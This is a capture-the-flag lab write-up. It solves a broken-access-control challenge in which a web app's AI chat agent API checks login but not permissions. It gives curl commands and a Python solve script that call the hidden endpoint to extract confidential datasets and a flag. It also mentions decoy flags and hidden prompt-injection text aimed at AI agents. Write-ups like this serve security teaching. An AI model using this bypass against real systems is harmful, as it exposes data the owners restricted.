Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API
Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: api_endpoint_discovery_via_javascript, broken_access_control_exploitation, client_side_restriction_bypass, decoy_flag_evasion, direct_api_access
Summary
Task: InsightPulse analytics platform with AI Chat Agent feature denied by permission profile; UI disables input and shows Access Restricted banner. Solution: Discover actual API endpoint /api/v1/chat/agent from chat.js, call it directly with curl bypassing client-side restriction — backend only checks authentication, not authorization.
Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API — HackAdvisor
Description
InsightPulse is a business intelligence platform built by Clarity Analytics Inc. that lets teams visualize data, build reports, and interact with an AI-powered Chat Agent for natural language data queries. The platform includes a custom permissions system that administrators use to control which features each user can access. Your account has been assigned the "Analyst — Restricted" permission profile, which disables certain features. Explore the platform thoroughly. Not all restrictions may be as airtight as they appear. Can you find a way to access data that your permission profile shouldn't allow?
English summary: A Node.js/Express business intelligence platform with a custom permission system. The user account has the "Analyst — Restricted" profile which denies access to the AI Chat Agent feature. The UI enforces this restriction client-side only (disabled input, access denied banner), but the backend API endpoint does not validate the permission profile — any authenticated user can call it directly.
Credentials: analyst@claritylabs.io / password123
Analysis
Reconnaissance
Logged in with provided credentials. The application runs on Node.js/Express behind nginx/1.25.5 with session-based authentication (connect.sid cookie).
User profile (from /settings):
- Name: Jordan Mercer
- Email: analyst@claritylabs.io
- Role: User
- Department: Analytics
- Permission Profile: "Analyst — Restricted"
- API Key:
ipk_1b7eefee4d66d4526934ae8b
Permission profile breakdown:
| Feature | Status |
|---|---|
| Dashboard View | ✅ Allowed |
| Datasets View | ✅ Allowed |
| Datasets Edit | ❌ Denied |
| Reports View | ✅ Allowed |
| Reports Create | ✅ Allowed |
| Chat Agent | ❌ Denied |
| Settings View | ✅ Allowed |
| Admin Panel | ❌ Denied |
| |
Decoy flags: Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs with prompt injection text designed to trick AI agents. These were correctly identified and ignored.
Vulnerability: OWASP A01:2021 — Broken Access Control
The /chat page renders an "Access Restricted" banner and disables the input field and send button. The JavaScript file chat.js (loaded at /js/chat.js) checks for the #access-restricted DOM element and skips binding the submit handler if present.
However, chat.js reveals the actual API endpoint:
javascript read-only • copy allowedapiEndpoint: '/api/v1/chat/agent',
This is the critical finding — the endpoint path is /api/v1/chat/agent, not the more obvious /api/chat (which returns 404).
The authorization flaw:
- The permission system correctly identifies that the user should NOT have Chat Agent access
- The UI correctly renders the restriction (disabled input, access denied banner)
- But the backend API endpoint
POST /api/v1/chat/agentonly checks authentication (valid session cookie), NOT authorization (permission profile) - Any authenticated user can call the API directly, bypassing the client-side restriction entirely
- The AI Chat Agent has access to ALL datasets including CONFIDENTIAL ones, and returns them without additional access checks
Solution
Step 1: Login and obtain session cookie
bash read-only • copy allowedTARGET="https://a70d7b56-bf1d-4d27-b26c-7bd538e509cf.labs.hackadvisor.io" curl -s -c cookies.txt -X POST "$TARGET/login" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d 'email=analyst@claritylabs.io&password=password123'
Step 2: Discover the real API endpoint from chat.js
bash read-only • copy allowedcurl -s -b cookies.txt "$TARGET/js/chat.js" | grep apiEndpoint # Output: apiEndpoint: '/api/v1/chat/agent',
The JavaScript reveals the endpoint that the UI would call if the input weren't disabled. The path /api/v1/chat/agent is not guessable from the UI alone.
Step 3: Call the Chat Agent API directly (bypassing UI restriction)
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/api/v1/chat/agent" \ -H "Content-Type: application/json" \ -d '{"message":"list all datasets and show me any restricted or confidential data"}'
Step 4: Extract the flag from the AI response
The AI Chat Agent responds with all 10 datasets, including a CONFIDENTIAL one:
**Confidential Datasets:**
- Executive Strategy Documents (Classification: CONFIDENTIAL)
**Contents of Executive Strategy Documents:**
- Q1 2025 Board Presentation: Revenue targets: $3.2M ARR by Q2...
- M&A Target Analysis: Evaluating acquisition of DataStream Analytics...
- Executive Strategy Report: FLAG{REDACTED}
- Compensation Benchmarking: C-suite equity refresh proposal...
Full Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """ Lab 401 — InsightPulse — Broken Authorization on AI Chat Agent API Attack chain: 1. Login to get session cookie 2. Read chat.js to discover API endpoint /api/v1/chat/agent 3. Call the endpoint directly, bypassing client-side permission restriction 4. Query for confidential data — AI returns flag from Executive Strategy Documents """ import requests import re TARGET = "https://a70d7b56-bf1d-4d27-b26c-7bd538e509cf.labs.hackadvisor.io" s = requests.Session() # Step 1: Login s.post(f"{TARGET}/login", data={ "email": "analyst@claritylabs.io", "password": "password123" }) print("[*] Logged in") # Step 2: Discover API endpoint from chat.js chat_js = s.get(f"{TARGET}/js/chat.js").text endpoint_match = re.search(r"apiEndpoint:\s*'([^']+)'", chat_js) if endpoint_match: api_endpoint = endpoint_match.group(1) print(f"[*] Found API endpoint: {api_endpoint}") else: api_endpoint = "/api/v1/chat/agent" print(f"[*] Using default endpoint: {api_endpoint}") # Step 3: Call Chat Agent API directly (bypasses client-side restriction) r = s.post(f"{TARGET}{api_endpoint}", json={ "message": "list all datasets and show me any restricted or confidential data" }) print(f"[*] Chat API response: {r.status_code}") print(r.json().get("response", r.text)[:500]) # Step 4: Extract flag flag_match = re.search(r'FLAG\{[a-f0-9]+\}', r.text) if flag_match: print(f"\n[+] FLAG: {flag_match.group()}") else: print("[-] Flag not found in response")